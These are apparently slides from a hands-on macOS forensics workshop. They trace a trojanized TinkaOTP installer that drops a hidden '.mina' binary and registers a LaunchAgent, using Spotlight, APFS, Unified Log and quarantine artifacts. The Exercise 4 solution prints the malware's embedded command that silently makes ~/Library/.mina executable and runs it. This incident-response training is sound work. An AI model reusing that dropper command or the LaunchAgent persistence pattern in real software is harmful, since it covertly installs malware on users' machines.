▸URLs from which files were downloaded▸Timestamps of file downloads▸User-specific information held by Safari, Notes, Maps, Mail, andother applications
77

Artifacts in file metadata (2/4)◦ Spotlight database (1)OS version

File path

Remarks<=macOS 10.14/.Spotlight-V100/Store-V2/*/store.db

Both system and user data
are contained.

/.Spotlight-V100/Store-V2/*/.store.db>=macOS 10.15/System/Volumes/Data/private/var/db/SpotlightV100/BootVolume/Store-V2/*/store.db/System/Volumes/Data/private/var/db/SpotlightV100/BootVolume/Store-V2/*/.store.db

For the separated system
volume in macOS 10.15 orlater.

78

Artifacts in file metadata (3/4)◦ Spotlight database (2)OS version

File path

Remarks>=macOS 10.13/Users/*/Library/Metadata/CoreSpotlight/index.spotlightV3/store.dbCreated for each user.
Used also in macOS 10.14
or later.

/Users/*/Library/Metadata/CoreSpotlight/index.spotlightV3/.stor
e.db>=macOS 10.15/System/Volumes/Data/.Spotlight-V100/Store-V2/*/store.db/System/Volumes/Data/.Spotlight-V100/Store-V2/*/.store.db

For the separated data
volume in macOS 10.15 orlater.

79

Artifacts in file metadata (4/4)◦ Apple File System (APFS)▪ New filesystem adopted in macOS 10.13.

80

5.2

Hands-on: Persistence investigation

81Persistence investigation◦ Items to be investigated▪ KnockKnock run results▪ mac_apt.db: AutoStart table▪ Metadata of persistence files▸Auto run programs are also to be investigated.
▸mac_apt.db: SpotlightDataView▸APFS_Volumes_xxxx.db: Combined_Inodes82

Investigation of KnockKnock run results

Hands-On◦ KnockKnock run results▪ json/kkResults.txt◦ Display the JSON data after formatting it with jq.
% jq '.' ./json/kkResults.txt◦ Search for suspicious entries.

▪ Entries for which a normal program is specified.
▸signatureStatus = 0▸VT detection = 0▸Entries not with the status above are suspicious.
◦ Consider using the jq filter if you are familiar with jq.
83mac_apt.db: AutoStart

Hands-On◦ Open mac_apt.db from DB Browser for SQLite.
◦ Select the AutoStart table on the Browse Data tab.
◦ As a point of view of initial investigation, we
assume persistence is set using the user privileges.
▪ The range of settings that can be configured using the root
privilege contains too many items to be investigated.

◦ Filtering conditions▪ User = macforensics◦ Confirm if the results are the same as the
KnockKnock run results.
84

Investigation of metadata in persistence files (1/2)

Hands-On◦ Investigate the date of creation of persistence files and specified
program files.

▪ It can be presumed that they are close to the date of malware infection.

◦ Database and table in which file metadata is stored.
▪ mac_apt.db▸SpotlightDataView-1-store▸SpotlightDataView-1-.store-DIFF● Only differences with SpotlightDataView-1-store are recorded.
● Both of the tables need to be checked during investigation.

▪ APFS_Volumes_xxxx.db▸Combined_Inodes▸APFS timestamps● Recorded as UTC timestamps in nano seconds (began on Jan. 1, 1970).
● Conversion script: scripts/nsec_conv.py
85

Investigation of metadata in persistence files (2/2)

Hands-On◦ Filtering conditions▪ mac_apt.db: SpotlightDataView▸FullPath = Persistence file or auto run program▸_kMDItemCreationDate: Date of file creation▪ APFS_Volumes_xxxx.db: Combined_Inodes▸Name = Persistence file or auto run program▸Created: Date and time of file creation

86

Solutions to
Exercise 1
87

Investigation of KnockKnock run results (1/3)◦ KnockKnock run results▪ json/kkResults.txt◦ Suspicious entries% jq '.' ./json/kkResults.txt | less(snip){"name": ".mina","path": "/Users/ macforensics /Library/.mina","plist": "/Users/macforensics/Library/LaunchAgents/com.aex-loop.agent.plist","hashes": {"md5": "F05437D510287448325BAC98A1378DE1","sha1": "FA3DEB60B8A2EAA29A7DCCF14BEE6ADAE81F442F"},
jq query that filters items that are"signature(s)": {"signatureStatus": -67062
not signatureStatus = 0.
},
"VT detection": "37/75"% jq '."Launch Items"[] | select(."signature(s)".signatureStatus != 0)' json/kkResults.txt}(snip)

88

Investigation of KnockKnock run results (2/3)◦ Characteristics of suspicious entries▪ signatureStatus is not 0.
▪ VT detection is not 0 either.

◦ Script to extract suspicious entries▪ scripts/kkfilter.sh#!/bin/zsh
s1="."
s2="[]"
while read line; doecho "---------- $line ----------"
s0=$s1$line$s2
jq "$s0 | select((.¥"signature(s)¥".signatureStatus != 0) or ¥(.¥"VT detection¥" | startswith(¥"0/¥") | not))" $1
done < <(jq '. | keys[]' $1)89

Investigation of KnockKnock run results (3/3)◦ Script run results% zsh scripts/kkfilter.sh json/kkResults.txt---------- "Authorization Plugins" ------------------- "Browser Extensions" ------------------- "Cron Jobs" ------------------- "Dir. Services Plugins" ------------------- "Event Rules" ------------------- "Extensions and Widgets" ------------------- "Kernel Extensions" ------------------- "Launch Items" ---------{"name": ".mina","path": "/Users/macforensics/Library/.mina","plist": "/Users/macforensics/Library/LaunchAgents/com.aex-loop.agent.plist","hashes": {"md5": "F05437D510287448325BAC98A1378DE1","sha1": "FA3DEB60B8A2EAA29A7DCCF14BEE6ADAE81F442F"},"signature(s)": {"signatureStatus": -67062},"VT detection": "37/75"}---------- "Library Inserts" ------------------- "Library Proxies" ------------------- "Login Items" ------------------- "Login/Logout Hooks" ------------------- "Periodic Scripts" ------------------- "Quicklook Plugins" ------------------- "Spotlight Importers" ------------------- "Startup Scripts" ------------------- "System Extensions" ----------

Only one suspicious entry

90Information on the suspicious entry◦ Setting file path
▪ /Users/macforensics/Library/LaunchAgents/com.aexloop.agent.plist◦ Program path
▪ /Users/macforensics/Library/.mina◦ It is very suspicious that a hidden file
directly under the user's Library folder is
specified.
91

Mac_apt.db: Investigation of the AutoStart table◦ Filtering conditions▪ Filter based on the KnockKnock detection results.
▪ Type = Agents▪ User = macforensics

92

Investigation of LaunchAgent plist (1/4)◦ mac_apt.db: SpotlightDataView▪ Creation date and time of com.aex-loop.agent.plist▸2021-11-25 04:41:45.406457 (UTC)93

Investigation of LaunchAgent plist (2/4)◦ mac_apt.db: SpotlightDataView▪ Creation date and time of .mina▸No entry exists.

94

Investigation of LaunchAgent plist (3/4)◦ APFS_Volumes_xxxx.db:
Combined_Inodes▪ The timestamp is not formatted.

95

Investigation of LaunchAgent plist (4/4)◦ APFS timestamp conversion script#!/usr/bin/env python3
import sys
import datetime
if len(sys.argv) != 2:
sys.exit('need argument')
timestamp = int(sys.argv[1])dt = datetime.datetime(1970, 1, 1) + datetime.timedelta(microseconds=timestamp/1000)
print(dt.strftime('%Y-%m-%d %H:%M:%S.%f'))◦ Creation date and time of .mina% python3 scripts/nsec_conv.py 1637815305360051337
2021-11-25 04:41:45.360051

96

Timelines up to this point
Timestamp (UTC)

Activity2021-11-25 04:41:45.360051/User/macforensics/Library/.mina was created.

2021-11-25 04:41:45.406457/Users/macforensics/Library/LaunchAgents/com.aex-loop.agent.plist was created.

97

6

Exercise 2:
Analysis of activities before and after
the creation of persistence98Purpose of investigating activities before and after
the creation of persistence◦ Check related programs, etc. based on
activities occurred before and after the creation
date and time of com.aex-loop.agent.plist and.mina.
◦ Activity examples:▪ Running programs▪ Mounting volumes▪ Downloading files

99

6.1

Artifacts of activities

100Recent Items (1/6)◦ Recent Items records accessed files, etc.
as with RecentDocs in Windows.
▪ OS X 10.10 or earlier▸~/Library/Preferences/com.apple.recentitems.plist▪ OS X 10.11 or later▸.sfl and .sfl2 files under ~/Library/Application
Support/com.apple.sharedfilelist/▸*.sfl: OS X 10.11 or later▸*.sfl2: macOS 10.13 or later101

Recent Items (2/6)◦ “Recent Items” in Apple menu.
▪ Recent Applications▸com.apple.LSSharedFileList.RecentApplications(.sfl|.sfl2)▪ Recent Documents▸com.apple.LSSharedFileList.RecentDocuments(.sfl|.sfl2)▸com.apple.LSSharedFileList.ApplicationRecentDocuments/● There are sfl and sfl2 files for each application under this directory.
▪ Recent Servers (saved with the server name)▸com.apple.LSSharedFileList.RecentServers(.sfl|.sfl2)▪ Recent Hosts (saved with the IP address)▸com.apple.LSSharedFileList.RecentHosts(.sfl|.sfl2)102

Recent Items (3/6)

103Recent Items (4/6)◦ Items displayed on the side bar of Finder:▪ Finder Tag▸com.apple.LSSharedFileList.ProjectsItems(.sfl|.sfl2)▪ Favorite Items▸com.apple.LSSharedFileList.FavoriteItems(.sfl|.sfl2)▪ Favorite Volumes▸com.apple.LSSharedFileList.FavoriteVolumes(.sfl|.sfl2)◦ “Favorite Servers” in the “Connect to Server”
dialog▪ Favorite Servers▸com.apple.LSSharedFileList.FavoriteServers (.sfl|.sfl2)
104

Recent Items (5/6)

105Recent Items (6/6)◦ Recently used folders in dialog boxes▪ ~/Library/Preferences/.GlobalPreferences.plist▪ defaults read -g NSNavRecentPlaces◦ History of access using Finder▪ ~/Library/Preferences/com.apple.finder.plist▸FXDesktopVolumePositions● Coordinates of volume icons shown on the desktop▸FXRecentFolders● Folder names containing the names of up to ten recently accessedvolumes are recorded.

▸FXConnectToLastURL● Go menu’s Connect to Server▸GoToField / GoToFieldHistory● Go menu’s Go to Folder history

106

File activities◦ .fseventsd▪ Mac OS X 10.5 or later▪ .fseventsd can be used for both HFS+ and APFS.
▪ Information similar to NTFS’ $UsnJrnl:$J is recorded.
▪ Records are recorded in file units; multiple events, such as filecreation, change, delete, etc., are recorded in one record.
▪ Since no timestamps are recorded, we will use update dates ofartifact files as rough timestamps.
▪ Artifact files are recorded under the ".fseventsd" folder directly under
the root directory of each partition.

▸If a file named “no_log” is created directly under the .fseventsd directory,
records will no longer be recorded in that volume.

▪ Created also in external media.
107Program run history◦ Spotlight Shortcuts▪ Applications run from Spotlight are recorded.
▪ Since Spotlight supplements application names, you can run Firefox just by▪

entering “fire”. In this case, the entry in which “fire” and “Firefox” are associatedis recorded.
OS X 10.9 or earlier▸~/Library/Preferences/com.apple.spotlight.plist▪ OS X 10.10 or later▸~/Library/Application Support/com.apple.spotlight.Shortcuts▪ macOS 10.15▸~/Library/Application Support/com.apple.spotlight/com.apple.spotlight.Shortcuts▪ macOS 11 or later▸~/Library/Application Support/com.apple.spotlight/com.apple.spotlight.Shortcuts.v3
108

Software installation history◦ InstallHistory▪ /Library/Receipts/InstallHistory.plist▪ Installation history of OSs and software is recorded.
▪ Package name, version, date of installation

109

Quarantine Events◦ Database of files to which the com.apple.quarantine extended
attribute has been given due to files downloaded from web
browsers, etc.

▪ The records in the database are recorded separately from the extended attribute,and so they remain even after the file extended attribute is deleted.

◦ Mac OS X 10.6 or earlier▪ ~/Library/Preferences/com.apple.LaunchServices.QuarantineEvents◦ Mac OS X 10.7 or later▪ ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2◦ The name of the application used to download the file, timestampof download, download source URL, etc. are recorded.
◦ No extended attribute will be set to files downloaded from curl or
wget and such an activity will not be recorded in the databaseeither.

110

Unified Logs (1/3)◦ Adopted from macOS 10.12.
◦ Logs of program run, volume mount, etc. are recorded.
◦ Storage directories▪ /private/var/db/uuidtext▪ /private/var/db/diagnostics◦ Export logs from the live system:▪ sudo log collect▸system_logs.logarchive is created.

◦ Manually export logs from the disk image:
1. Copy files in the /private/var/db/diagnostics folder and the /private/var/db/uuidtext folder to
one folder (do not include the parent folders of uuidtext and diagnostics).
2. Add the ".logarchive" extension to the copy destination folder.
A little more additional procedures are now required due to the version upgrade of macOS.

▪

▸Analyze the acquired UnifiedLog on Catalina▸https://padawan-4n6.hatenablog.com/entry/2020/03/15/052607

111

Unified Logs (2/3)◦ log command% log show --debug --info --predicate 'FILTERING CONDITION' --start 'YYYY-MM-DD hh:mm:ss'--end 'YYYY-MM-DD hh:mm:ss'◦ Filtering conditions
eventTypeThe type of event: activityCreateEvent, activityTransitionEvent, logEvent, signpostEvent, stateEvent,timesyncEvent, traceEvent and userActionEvent.
eventMessage
The pattern within the message text, or activity name of a log/trace entry.
messageType
For logEvent and traceEvent, the type of the message itself: default, info, debug, error or fault.
process
The name of the process the originated the event.
processImagePath
The full path of the process that originated the event.
sender
The name of the library, framework, kernel extension, or mach-o image, that originated the event.
senderImagePath
The full path of the library, framework, kernel extension, or mach-o image, that originated the event.
subsystem
The subsystem used to log an event. Only works with log messages generated with os_log(3) APIs.
category
The category used to log an event. Only works with log messages generated with os_log(3) APIs. When
category is used, the subsystem filter should also be provided.

112

Unified Logs (3/3)◦ Unified Logs format
Activity ID
Timestamp

Thread ID

Log Type

TTL% log show --info --debug --predicate 'sender == "TimeMachine"'
Filtering the log data using "sender == "TimeMachine""
Timestamp
ThreadType
Activity
PID
2021-11-09 18:41:17.571449+0900 0x23fb85
Info
0x0
259
[com.apple.TimeMachine:General] Mountpoint '/Volumes/TimeMachine' is still valid

Subsystem

Category

Process Name

Process ID

Sender (Library)TTL
0backupd: (TimeMachine)

Event Message▪ These items are actually written in one line.
113

6.2

Hands-on:Analysis of activities before and after
the creation of persistence

114

Analysis of activities before and after the creation of persistence◦ Items to be investigated▪ mac_apt.db▸RecentItems
These items do not have timestamps.
▸FsEvents▸SpotlightShortcuts▸IntallHistory▸SpotlightDataView-1-store▸SpotlightDataView-1-.store-DIFF▸Quarantine
Mainly check these items.
▪ UnifiedLogs.db▸Program run history▸Volume mount115

Program execution history recorded in UnifiedLogs.db (1/2)

Hands-On◦ Trace of running .app format applications (application
bundle)◦ Filtering conditions▪ Message = LAUNCHING:0▪ TimeUtc = Around the date and time of persistence creation▸Clicking the TimeUtc column name allows you to sort in the ascending (ordescending) order.

◦ ProcessName column, ProcessImagePath column▪ Applications from which a program is launched:▸Dock, Finder, Spotlight, loginwindow, open, etc.
▪ The following items are normal processes and can be ignored.
▸activateSettings▸System Preferences

116Program execution history recorded in UnifiedLogs.db (2/2)

Hands-On◦ Unsigned programs authorized to run by
Gatekeeper▪ Mach-O binary is recorded.
▪ dmg is also recorded.

◦ Filtering conditions▪ Category = gk
▪ Message = temporarySigning▪ TimeUtc = Around the date and time of persistence
creation
117

Volume mount recorded in UnifiedLogs.db

Hands-On◦ Volumes mounted/unmounted▪ Volume names, not DMG file names, etc., are recorded.
▪ The filesystem of the mounted volume can also be
known.

◦ SQL query to search for volume mounts
SELECT TimeUtc, Message FROM UnifiedLogs WHERE TimeUtc LIKE "2021-11-25 04:%" AND (ProcessName = "kernel" AND(Message LIKE "%mounted%" OR Message LIKE "%unmount%")) ORDER BY TimeUtc;▪ The Preboot volume exists as the system standard andcan be ignored.

118

mac_apt.db: SpotlightDataView

Hands-On◦ Based on the file names and volume
names acquired up to this step, filter the
SpotlightDataView table.
◦ Filtering conditions▪ FullPath = File name/volume name◦ Meaning of the columns▪ _kMDItemCreationDate: Date and time of file creation▪ kMDItemWhereFroms: Download source URL
119

mac_apt.db: Quarantine

Hands-On◦ Database that records files to which thecom.apple.quarantine extended attribute is set.
▪ It is implemented as a macOS security framework.
◦ The name of the application used to download
the file, timestamp of download, and download
source URL are recorded.
◦ Filtering conditions▪ DataUrl = Download source URL acquired from
SpotlightDataView
120mac_apt.db: RecentItems (Program execution history)

Hands-On◦ Names of started applications and their
file paths◦ Filtering conditions▪ Type = APPLICATION▪ Name = Application name
▪ URL = Application path121

mac_apt.db: RecentItems (Volume mount)Hands-On◦ Mounted volumes and their folder paths◦ Filtering conditions▪ Type = VOLUME▪ Name = Volume name
▪ URL = Volume path (path starting with Volumes/)122

mac_apt.db: RecentItems (Finder access folder)

Hands-On◦ Names of folders access from Finder
and their folder paths◦ Filtering conditions▪ Type = PLACE▪ Name = Folder name/volume name
▪ URL = Folder path123

mac_apt.db: FsEvents

Hands-On◦ Events occurred in the filesystem are recorded.

▪ File/folder creation, deletion, permission change, etc.
▪ In this workshop, we will investigate volume mount and therefore will
filter folder creation entries under Volumes.

◦ Filtering conditions▪ SourceModDate = Around the date and time of persistence creation▪ EventFlags = FolderCreated▪ Filepath = Volumes/◦ SourceModDate column▪ Date and time of artifact file modification▪ Although we can see the relevant event occurred by this date andtime, the accurate date and time are unknown.
124mac_apt.db: SpotlightShortcuts

Hands-On◦ Applications started from Spotlight arerecorded.
▪ Strings entered by the user are also recorded.

◦ Filtering conditions▪ DisplayName or URL = Application name
▪ LastUsed = Around the date and time of persistence
creation125mac_apt.db: InstallHistory

Hands-On◦ Installed packages are recorded.
◦ Filtering conditions▪ Date = Around the date and time of persistence
creation

126

Solutions to
Exercise 2
127Unified Logs investigation results (1)◦ Traces of running applications
SELECT TimeUtc, ProcessName, Message FROM UnifiedLogs WHERE (TimeUtc LIKE "2021-11-25 04:4%" AND Message LIKE"LAUNCHING:0%" AND Message NOT LIKE "%activateSettings%" AND Message NOT LIKE "%System Preferences%") ORDER BYTimeUtc;

128

Unified Logs investigation results (2)◦ Traces of commands run by Gatekeeper
SELECT TimeUtc, Message FROM UnifiedLogs WHERE (TimeUtc LIKE "2021-11-25 04:4%" AND Message LIKE
"temporarySigning%" AND Message NOT LIKE "%activateSettings%" AND Message NOT LIKE "%System Preferences%")
ORDER BY TimeUtc;

129

Unified Logs investigation results (3)◦ Volume mount

There are histories that the Installer volume
and the TinkaOTP volume were mounted.

130mac_apt.db: SpotlightDataView◦ Recorded in SpotlightDataView-1-.storeDIFF.
SELECT FullPath, _kMDItemCreationDate, kMDItemWhereFroms, kMDItemDownloadedDate FROM "SpotlightDataView-1.store-DIFF" WHERE (FullPath LIKE "%Installer%" OR FullPath LIKE "%TinkaOTP%");131

mac_apt.db: Quarantine◦ Names of applications used to download files▪ Installer.dmg was downloaded using Safari.
▪ It is highly likely that the user manually downloaded it.

132mac_apt.db: FsEvents◦ Folders in which suspicious volumes
were mounted◦ FolderCreated and Removed underVolumes mean a volume mount andvolume unmount, respectively.
133

mac_apt.db: RecentItems - APPLICATION◦ TinkaOTP Installer in the mounted
Installer volume was run.

134

mac_apt.db: RecentItems - VOLUME◦ Here, there is also a record of a volume
mount.

135

mac_apt.db: RecentItems - PLACE◦ The mounted Installer volume wasbrowsed using Finder.

136

mac_apt.db: InstallHistory, SpotlightShortcuts◦ There were no traces in InstallHistory
and SpotlightShortcuts.

137Timelines up to this point (1/2)
Timestamp (UTC)

Activity2021-11-25 04:41:22.660911/Users/macforensics/Downloads/Installer.dmg was created.
(Downloaded from http://www.2fa.test/download/Installer.dmg using Safari)2021-11-25 04:41:27.593697/Users/macforensics/Downloads/Installer.dmg was started to mount.

2021-11-25 04:41:34.416693

Installer was mounted (apfs).

2021-11-25 04:41:37.924145

TinkaOTP Installer was run (using Finder).

2021-11-25 04:41:38.114360/Volumes/Installer/TinkaOTP Installer.app/Contents/MacOS/TinkaOTP Installer was run.

2021-11-25 04:41:40.842618/var/folders/yb/qc22ltgs12z203pjg52r40m40000gn/T/Installer.jv3vIUms was run.

2021-11-25 04:41:40.892716/Users/macforensics/Downloads/TinkaOTP.dmg was created.

138

Timelines up to this point (2/2)
Timestamp (UTC)

Activity2021-11-25 04:41:44.076904

TinkaOTP was mounted (hfs).

2021-11-25 04:41:44.097888/Applications/TinkaOTP.app was created.

2021-11-25 04:41:44.355439

TinkaOTP was unmounted (hfs).

2021-11-25 04:41:44.446290

TinkaOTP was run (using open command).

2021-11-25 04:41:45.360051/User/macforensics/Library/.mina was created.

2021-11-25 04:41:45.398062/Users/macforensics/Library/.mina was run.

2021-11-25 04:41:45.406457/Users/macforensics/Library/LaunchAgents/com.aex-loop.agent.plist was created.

2021-11-25 04:41:59.291558

Installer was unmounted (apfs).

139

Looking back timelines up to this point◦ Installer.dmg was downloaded fromhttp://www.2fa.test/download/Installer.dmg and then the disk
image was mounted.
◦ TinkaOTP Installer was run from the mounted volume(/Volumes/Installer).
◦ After the random name file was run, TinkaOTP.dmg was
created.
◦ After the TinkaOTP volume was mounted,/Applications/TinkaOTP.app was created and run.
◦ Since it took 8 seconds from the execution of the TinkaOTP
Installer to the creation of the persistence, it is highly likely thatthe processes during this period ware performed automatically.
140

7

Exercise 3: Analysis of .mina

141Organizing suspicious files (1/2)◦ So far our analysis has found the following suspicious
files:▪ /Users/macforensics/Library/.mina▪ /Applications/TinkaOTP.app▪ /Users/macforensics/Downloads/TinkaOPT.dmg▪ /var/folders/yb/qc22ltgs12z203pjg52r40m40000gn/T/Installer.jv3vIU
ms▪ /Volumes/Installer/TinkaOTP Installer.app▪ /Users/macforensics/Downloads/Installer.dmg◦ The above files have been extracted to the exported_files
folder.

▪ The following folders were not found in the disk image.
▸/var/folders/yb/qc22ltgs12z203pjg52r40m40000gn/T/Installer.jv3vIUms▸/Volumes/Installer/TinkaOTP Installer.app
142Organizing suspicious files (2/2)◦ Possible program relationship based on the timelines▪ TinkaOTP Installer▸Downloaded and run by the user.
▸TinkaOTP was downloaded or dropped (?)▪ TinkaOTP▸Automatically run (?)▸.mina was downloaded or dropped (?)▪ .mina▸Automatically run (?)▸Persistence was registered (?)▸Malware body (?)◦ Check the items marked with (?)◦ Analyze .mina, which was run immediately before persistence
was created.

▪ “.mina” is stored as “_mina”.
143Analysis of .mina (1/8)

Hands-On◦ String search▪ Using the strings command, etc., confirm if .mina
contains a persistence file name.

144

Analysis of .mina (2/8)

Hands-On(Only macOS)◦ Dynamic analysis (those who have amacOS VM) (1)▪ Run the following commands from different terminals
on the macOS VM.

% sudo ./ProcessMonitor.app/Contents/MacOS/ProcessMonitor > mina_procmon.json% sudo ./FileMonitor.app/Contents/MacOS/FileMonitor > mina_filemon.json▪ Then, run _mina from another terminal.
▸Make sure _mina is copied to the VM in advance.
% chmod +x _mina% ./_mina

145

Analysis of .mina (3/8)

Hands-On(Only macOS)◦ Dynamic analysis (those who have amacOS VM) (2)▪ When about 10 seconds have passed after running_mina, stop ProcessMonitor and FileMonitor with
Ctrl+C.
▪ Analyze mina_procmon.json and mina_filemon.json
with jq.

146

Analysis of .mina (4/8)

Hands-On◦ Dynamic analysis (those who don’t havea macOS VM)▪ Analyze the following JSON files in the json folder withjq.

▸mina_procmon.json▸mina_filemon.json

147

Analysis of .mina (5/8)

Hands-On◦ Dynamic analysis▪ mina_procmon.json▸Investigate to confirm if _mina started other processes.
▸Investigate items with the following events:● ES_EVENT_TYPE_NOTIFY_EXEC● ES_EVENT_TYPE_NOTIFY_FORK▪ mina_filemon.json▸Investigate to confirm if _mina created a persistence file.
▸Investigate items with the following event:● ES_EVENT_TYPE_NOTIFY_CREATE
148

Analysis of .mina (6/8)

Hands-On◦ Investigation of mina_procmon.json (1)▪ Check the PID of _mina.
% jq '. | select((.process.name == "_mina") and (.event | endswith("EXEC")))' json/mina_procmon.json 2>/dev/null{"event": "ES_EVENT_TYPE_NOTIFY_EXEC",The event name ends with “EXEC”.
"timestamp": "2021-12-14 06:14:40 +0000","process": {PID = 803
"pid": 803,
"name": "_mina","path": "/Users/macforensics/Downloads/_mina",
The process name is “_mina”.
"uid": 501,
"architecture": "Intel","arguments": ["./_mina"],"ppid": 789,
"rpid": 0,"ancestors": [
339,
1
],
(snip)

149

Analysis of .mina (7/8)

Hands-On◦ Investigation of mina_procmon.json (2)▪ Find processes whose PPID is the PID of _mina.
% jq '. | select(.process.ppid == 803 and (.event | (endswith("EXEC") or endswith("FORK"))))' json/mina_procmon.json 2>/dev/null▪ Filtering conditions▸PID = 803▸The event name ends with “EXEC” or “FORK”.
▪ If fork() has been called, investigate its PID in the samemanner.

150

Analysis of .mina (8/8)

Hands-On◦ Investigation of mina_filemon.json▪ Check files created by _mina.
% jq '. | select(.file.process.name == "_mina" and (.event | endswith("CREATE")))' json/mina_filemon.json 2>/dev/null▪ Filtering conditions▸The process name is “_mina”.
▸The event name ends with “CREATE”.

151

Solutions to
Exercise 3152

Analysis of .mina (1/5)◦ String search% strings -a ./exported_files/_mina | grep com.aex-loop.agent.plist/Library/LaunchAgents/com.aex-loop.agent.plist/Library/LaunchDaemons/com.aex-loop.agent.plist▪ .mina contains a persistence file string.
▪ .mina creates a persistence file.

153

Analysis of .mina (2/6)◦ Dynamic analysis (1)▪ Check the PID of _mina.
% jq '. | select(.process.name == "_mina" and (.event | endswith("EXEC")))' json/mina_procmon.json 2>/dev/null{"event": "ES_EVENT_TYPE_NOTIFY_EXEC","timestamp": "2021-12-14 06:14:40 +0000","process": {"pid": 803,
"name": "_mina","path": "/Users/macforensics/Downloads/_mina","uid": 501,
"architecture": "Intel","arguments": ["./_mina"],"ppid": 789,
"rpid": 0,"ancestors": [
339,
1
],
(snip)

154

Analysis of .mina (3/6)◦ Dynamic analysis (2)▪ Presence or absence of a process run by _mina.
% jq '. | select(.process.ppid == 803 and (.event | (endswith("EXEC") or endswith("FORK"))))' json/mina_procmon.json 2>/dev/null{"event": "ES_EVENT_TYPE_NOTIFY_FORK","timestamp": "2021-12-14 06:14:40 +0000","process": {"pid": 805,
"name": "_mina","path": "/Users/macforensics/Downloads/_mina","uid": 501,
"architecture": "Intel","arguments": [],"ppid": 803,
"rpid": 0,"ancestors": [
339,
1
],
(snip)▪ Although _mina has been forked, other processes have not executed.
155

Analysis of .mina (4/6)◦ Dynamic analysis (3)▪ Investigation of forked processes% jq '. | select(.process.pid == 805 and (.event | (endswith("EXEC") or endswith("FORK"))))' json/mina_procmon.json 2>/dev/null{"event": "ES_EVENT_TYPE_NOTIFY_FORK","timestamp": "2021-12-14 06:14:40 +0000","process": {The same event as"pid": 805,
the previous slide.
"name": "_mina","path": "/Users/macforensics/Downloads/_mina","uid": 501,
"architecture": "Intel",(snip)% jq '. | select(.process.ppid == 805 and (.event | (endswith("EXEC") or endswith("FORK"))))' json/mina_procmon.json 2>/dev/null(No output)▪ There are no processes running from _mina.
156

Analysis of .mina (5/6)◦ Dynamic analysis (4)▪ Check the file creation status.
% jq '. | select((.file.process.name == "_mina") and (.event | endswith("CREATE")))' json/mina_filemon.json 2>/dev/null{"event": "ES_EVENT_TYPE_NOTIFY_CREATE","timestamp": "2021-12-14 06:14:40 +0000",
A file that is not a persistence"file": {file was created.
"destination": "/Users/macforensics/Library/Caches/com.apple.appstore.db","process": {"pid": 805,
"name": "_mina",(snip)▪ Although creation of a persistence file cannot be
confirmed in dynamic analysis, we will now move on toanother investigation.
157

Analysis of .mina (6/6)◦ Analysis results of .mina▪ According to the dynamic analysis results, anotherprocess was not started.
▪ Although creation of a persistence file was notconfirmed in dynamic analysis, there may be a reason
why .mina stand-alone dynamic analysis does not work
well.

158

8

Exercise 4: Analysis of TinkaOTP.app

159

Analysis of TinkaOTP.app (1/4)◦ Based on the timeline, TinkaOTP.app ishighly likely to be a file in
TinkaOTP.dmg.
▪ We will confirm this using a hash value calculated by
the md5sum command, etc.
▪ Since macOS does not provide the md5sum command,
it must be installed using brew, etc.

160

Analysis of TinkaOTP.app (2/4)% hdiutil attach ~/Desktop/exported_files/TinkaOTP.dmg% cd /Volumes/TinkaOTP/TinkaOTP.app; find . -type f -exec md5sum {} ¥; > ~/Desktop/hash.txt; cd ~/Desktop/% hdiutil eject /Volumes/TinkaOTP% cd ~/Desktop/exported_files/TinkaOTP.app; md5sum -c ~/Desktop/hash.txt./Contents/_CodeSignature/CodeResources: OK./Contents/Frameworks/libswiftCore.dylib: OK./Contents/Frameworks/libswiftCoreFoundation.dylib: OK./Contents/Frameworks/libswiftCoreGraphics.dylib: OK./Contents/Frameworks/libswiftDarwin.dylib: OK./Contents/Frameworks/libswiftDispatch.dylib: OK./Contents/Frameworks/libswiftFoundation.dylib: OK./Contents/Frameworks/libswiftIOKit.dylib: OK./Contents/Frameworks/libswiftObjectiveC.dylib: OK./Contents/Info.plist: OK./Contents/MacOS/TinkaOTP: OK./Contents/PkgInfo: OK./Contents/Resources/AppIcon.icns: OK./Contents/Resources/Assets.car: OK./Contents/Resources/Base.lproj/MainMenu.nib: OK./Contents/Resources/Base.lproj/SubMenu.nib: OK./Contents/Resources/en.lproj/InfoPlist.strings: OK./Contents/Resources/en.lproj/Localizable.strings: OK./Contents/Resources/en.lproj/MainMenu.strings: OK./Contents/Resources/Info.plist: OK

161

Analysis of TinkaOTP.app (3/4)

Hands-On◦ String search▪ Confirm that TinkaOTP has a relationship with .mina.
▸TinkaOTP.app/Contents/MacOS/TinkaOTP◦ Dynamic analysis▪ Confirm how TinkaOTP generates .mina.
▪ The preparation procedure is shown on the next page.
▪ Those who do not have a macOS VM should investigate
tinkaotp_procmon.json and tinkaotp_filemon.json in the json
folder.

◦ The tools used and the procedure are the sameas ones used for .mina.
162

Analysis of TinkaOTP.app (4/4)

Hands-On(Only macOS)◦ Dynamic analysis▪ Copy TinkaOTP.dmg to the VM and mount the disk
image.
▪ Copy TinkaOTP.app in the dmg to an appropriate
location (ex. ~/Desktop).
▪ Run ProcessMonitor and FileMonitor, and then run
TinkaOTP.app.

▸Double-click TinkaOTP.app from Finder.
▸Or run it with the open command.
% open ./exported_files/TinkaOTP.app

163

Solutions to
Exercise 4164

Analysis of TinkaOTP.app (1/4)◦ String search% strings -a ./exported_files/TinkaOTP.app/Contents/MacOS/TinkaOTP | grep -F .mina~/Library/.mina > /dev/null 2>&1 && chmod +x ~/Library/.mina > /dev/null 2>&1 && ~/Library/.mina > /dev/null
2>&1▪ The execute bit of ~/Library/.mina is set and run.
▪ Although processing before this command is unknown,
TinkaOTP probably downloaded or dropped .mina.

165

Analysis of TinkaOTP.app (2/4)◦ Dynamic analysis (1)▪ Check the process run status.
% jq '. | select(.process.name == "TinkaOTP")' ./json/tinkaotp_procmon.json 2>/dev/null{"event": "ES_EVENT_TYPE_NOTIFY_EXEC","timestamp": "2021-12-15 06:08:34 +0000","process": {"pid": 1132,"name": "TinkaOTP","path": "/Users/macforensics/Desktop/TinkaOTP.app/Contents/MacOS/TinkaOTP",(snip)}
Since fork() was called, check it as well.
{"event": "ES_EVENT_TYPE_NOTIFY_FORK","timestamp": "2021-12-15 06:08:34 +0000","process": {"pid": 1133,"name": "TinkaOTP","path": "/Users/macforensics/Desktop/TinkaOTP.app/Contents/MacOS/TinkaOTP",(snip)}

166

Analysis of TinkaOTP.app (3/4)◦ Dynamic analysis (2)▪ PID = 1132
% jq '. | select(.process.pid == 1132)' ./json/tinkaotp_procmon.json 2>/dev/null{"event": "ES_EVENT_TYPE_NOTIFY_FORK","timestamp": "2021-12-15 06:08:33 +0000","process": {"pid": 1132,"name": "launchd","path": "/sbin/launchd","uid": 0,(snip)▪ No suspicious behavior was recorded.

167

